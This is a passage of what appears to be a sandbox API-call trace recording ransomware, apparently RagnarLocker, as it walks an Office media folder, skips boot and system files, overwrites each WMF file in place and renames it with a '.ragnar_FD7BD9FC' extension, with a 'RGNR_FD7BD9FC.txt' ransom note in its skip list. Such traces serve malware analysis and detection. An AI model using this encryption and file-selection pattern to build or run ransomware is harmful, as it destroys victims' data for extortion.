(pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF") returned=".WMF" [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="autorun.inf") returned 1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="boot.ini") returned 1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="bootfont.bin") returned 1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="bootsect.bak") returned 1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="bootmgr") returned 1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="bootmgr.efi") returned 1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="bootmgfw.efi") returned 1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="desktop.ini") returned 1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="iconcache.db") returned 1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="ntldr") returned -1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="ntuser.dat") returned -1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="ntuser.dat.log") returned -1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="ntuser.ini") returned -1 [0095.676] lstrcmpiW (lpString1="J0222021.WMF", lpString2="thumbs.db") returned -1 [0095.676] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.676] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.676] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.676] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.676] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.676] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.676] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf")) returned 0x20 [0095.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.677] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1990) returned 1 [0095.677] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.677] GetProcessHeap () returned 0x580000 [0095.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.677] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.678] VirtualAlloc (lpAddress=0x0, dwSize=0x7c6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.678] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.678] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.679] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c6, lpOverlapped=0x0) returned 1 [0095.679] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.679] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c6, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.679] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c6, lpOverlapped=0x0) returned 1 [0095.679] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.679] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.679] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.679] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.679] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.679] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.679] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.679] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.680] GetProcessHeap () returned 0x580000 [0095.680] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.680] CloseHandle (hObject=0x104) returned 1 [0095.680] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" [0095.680] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.ragnar_FD7BD9FC" [0095.680] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.680] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0095.680] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.681] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0229385.WMF" | out: lpString1="J0229385.WMF") returned="J0229385.WMF" [0095.681] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF") returned=".WMF" [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="autorun.inf") returned 1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="boot.ini") returned 1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="bootfont.bin") returned 1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="bootsect.bak") returned 1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="bootmgr") returned 1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="bootmgr.efi") returned 1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="bootmgfw.efi") returned 1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="desktop.ini") returned 1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="iconcache.db") returned 1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="ntldr") returned -1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="ntuser.dat") returned -1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="ntuser.dat.log") returned -1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="ntuser.ini") returned -1 [0095.681] lstrcmpiW (lpString1="J0229385.WMF", lpString2="thumbs.db") returned -1 [0095.681] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.681] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.681] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.681] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.681] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.681] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.681] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf")) returned 0x20 [0095.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.682] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3932) returned 1 [0095.682] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xf53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.682] GetProcessHeap () returned 0x580000 [0095.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.682] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.684] VirtualAlloc (lpAddress=0x0, dwSize=0xf5c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.684] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.684] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.684] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf5c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf5c, lpOverlapped=0x0) returned 1 [0095.684] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.684] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.684] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf5c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf5c, lpOverlapped=0x0) returned 1 [0095.685] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.685] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.685] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xf5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.685] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.685] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.685] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.685] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.685] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.685] GetProcessHeap () returned 0x580000 [0095.685] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.685] CloseHandle (hObject=0x104) returned 1 [0095.685] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" [0095.685] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.ragnar_FD7BD9FC" [0095.685] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.686] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0095.686] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.686] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0229389.WMF" | out: lpString1="J0229389.WMF") returned="J0229389.WMF" [0095.686] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF") returned=".WMF" [0095.686] lstrcmpiW (lpString1="J0229389.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.686] lstrcmpiW (lpString1="J0229389.WMF", lpString2="autorun.inf") returned 1 [0095.686] lstrcmpiW (lpString1="J0229389.WMF", lpString2="boot.ini") returned 1 [0095.686] lstrcmpiW (lpString1="J0229389.WMF", lpString2="bootfont.bin") returned 1 [0095.686] lstrcmpiW (lpString1="J0229389.WMF", lpString2="bootsect.bak") returned 1 [0095.686] lstrcmpiW (lpString1="J0229389.WMF", lpString2="bootmgr") returned 1 [0095.686] lstrcmpiW (lpString1="J0229389.WMF", lpString2="bootmgr.efi") returned 1 [0095.686] lstrcmpiW (lpString1="J0229389.WMF", lpString2="bootmgfw.efi") returned 1 [0095.686] lstrcmpiW (lpString1="J0229389.WMF", lpString2="desktop.ini") returned 1 [0095.687] lstrcmpiW (lpString1="J0229389.WMF", lpString2="iconcache.db") returned 1 [0095.687] lstrcmpiW (lpString1="J0229389.WMF", lpString2="ntldr") returned -1 [0095.687] lstrcmpiW (lpString1="J0229389.WMF", lpString2="ntuser.dat") returned -1 [0095.687] lstrcmpiW (lpString1="J0229389.WMF", lpString2="ntuser.dat.log") returned -1 [0095.687] lstrcmpiW (lpString1="J0229389.WMF", lpString2="ntuser.ini") returned -1 [0095.687] lstrcmpiW (lpString1="J0229389.WMF", lpString2="thumbs.db") returned -1 [0095.687] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.687] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.687] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.687] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.687] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.687] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.687] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf")) returned 0x20 [0095.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.687] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3808) returned 1 [0095.687] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xed7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.688] GetProcessHeap () returned 0x580000 [0095.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.688] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.689] VirtualAlloc (lpAddress=0x0, dwSize=0xee0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.689] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.689] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.689] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xee0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xee0, lpOverlapped=0x0) returned 1 [0095.689] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.689] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xee0, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.689] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xee0, lpOverlapped=0x0) returned 1 [0095.690] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xee0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.690] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.690] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xee0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.690] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.690] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.690] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.690] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.690] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.690] GetProcessHeap () returned 0x580000 [0095.690] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.690] CloseHandle (hObject=0x104) returned 1 [0095.690] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" [0095.690] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.ragnar_FD7BD9FC" [0095.690] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.691] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0095.691] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.691] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0230876.WMF" | out: lpString1="J0230876.WMF") returned="J0230876.WMF" [0095.691] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF") returned=".WMF" [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="autorun.inf") returned 1 [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="boot.ini") returned 1 [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="bootfont.bin") returned 1 [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="bootsect.bak") returned 1 [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="bootmgr") returned 1 [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="bootmgr.efi") returned 1 [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="bootmgfw.efi") returned 1 [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="desktop.ini") returned 1 [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="iconcache.db") returned 1 [0095.691] lstrcmpiW (lpString1="J0230876.WMF", lpString2="ntldr") returned -1 [0095.692] lstrcmpiW (lpString1="J0230876.WMF", 